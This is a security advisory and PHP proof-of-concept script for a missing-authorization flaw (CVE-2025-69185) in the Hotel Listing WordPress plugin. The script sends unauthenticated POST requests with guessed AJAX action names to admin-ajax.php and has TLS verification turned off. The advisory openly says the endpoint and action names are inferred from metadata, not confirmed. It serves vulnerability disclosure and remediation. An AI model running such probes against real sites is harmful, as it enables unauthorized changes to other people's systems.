Atomic Edge analysis of CVE-2025-69185 (metadata-based):
This vulnerability in the Hotel Listing WordPress plugin version 1.4.2 and earlier is a Missing Authorization flaw. The plugin fails to verify user permissions before executing a sensitive function. Unauthenticated attackers can trigger unauthorized actions on affected sites.
Atomic Edge research identifies the root cause as a missing capability check on a plugin function. The CWE-862 classification confirms the plugin omits proper authorization verification. This inference stems from the vulnerability description stating ‘missing capability check on a function.’ Without access to source code, Atomic Edge cannot confirm the exact function name or its purpose. The vulnerability exists because the plugin registers a function via WordPress hooks without validating the user’s permission level.
Exploitation likely targets the WordPress AJAX handler endpoint. Attackers send POST requests to /wp-admin/admin-ajax.php with a specific action parameter. The action parameter probably contains a hotel-listing plugin prefix. A realistic payload would be: POST /wp-admin/admin-ajax.php?action=hotel_listing_some_function. The request may include additional parameters that the vulnerable function processes. Since no authentication is required, attackers can send these requests directly without session cookies or nonce tokens.
Remediation requires adding a proper capability check before the vulnerable function executes. Developers should implement current_user_can() with an appropriate capability like ‘manage_options’ or a custom plugin capability. The fix must also verify nonces for state-changing operations. WordPress security best practices dictate checking both capabilities and nonces for all administrative functions exposed through AJAX handlers.
Successful exploitation enables unauthenticated attackers to perform unauthorized actions. The CVSS vector indicates Integrity impact (I:L) with no Confidentiality or Availability effects. Attackers could modify plugin settings, delete hotel listings, or manipulate booking data. The exact impact depends on the vulnerable function’s purpose, but unauthorized data modification represents the minimum consequence.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69185 - Hotel Listing <= 1.4.2 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-69185
* This script demonstrates unauthorized access to a Hotel Listing plugin function.
* The exact action parameter is unknown without source code, so this uses a likely pattern.
* Assumptions:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. The action parameter contains 'hotel_listing' prefix
* 3. No authentication or nonce is required
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
// Common Hotel Listing plugin AJAX action patterns
$potential_actions = [
'hotel_listing_save_settings',
'hotel_listing_delete_item',
'hotel_listing_update_booking',
'hotel_listing_import_data',
'hotel_listing_ajax_handler'
];
echo "Testing CVE-2025-69185 against: $target_urlnn";
foreach ($potential_actions as $action) {
$ch = curl_init();
$post_data = [
'action' => $action,
'test_param' => 'atomic_edge_test'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Atomic-Edge-CVE-Research/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Action: $actionn";
echo "HTTP Code: $http_coden";
// Check for successful execution (not 403/404)
if ($http_code == 200 && !empty($response)) {
echo "Response (first 200 chars): " . substr($response, 0, 200) . "n";
// Look for plugin-specific responses
if (strpos($response, 'hotel') !== false ||
strpos($response, 'booking') !== false ||
strpos($response, 'listing') !== false ||
strpos($response, 'success') !== false ||
strpos($response, 'error') !== false) {
echo "POTENTIAL VULNERABILITY DETECTEDn";
}
} else {
echo "No response or error coden";
}
echo "---n";
curl_close($ch);
sleep(1); // Rate limiting
}
echo "PoC complete. Manual verification required to confirm the exact vulnerable action.n";
?>
